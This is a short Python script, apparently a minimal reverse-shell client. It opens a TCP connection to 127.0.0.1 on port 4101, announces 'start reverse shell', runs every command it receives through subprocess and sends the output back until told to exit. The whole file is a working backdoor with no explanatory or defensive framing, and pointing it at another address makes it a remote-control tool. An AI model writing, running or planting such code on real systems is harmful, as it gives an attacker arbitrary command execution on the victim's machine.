import subprocess
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 4101))
print('start reverse shell')
while True:
    command = s.recv(4096).decode()
    output = subprocess.getoutput(command)
    if command.lower() == 'exit':
        break
    s.send(output.encode())

s.close()
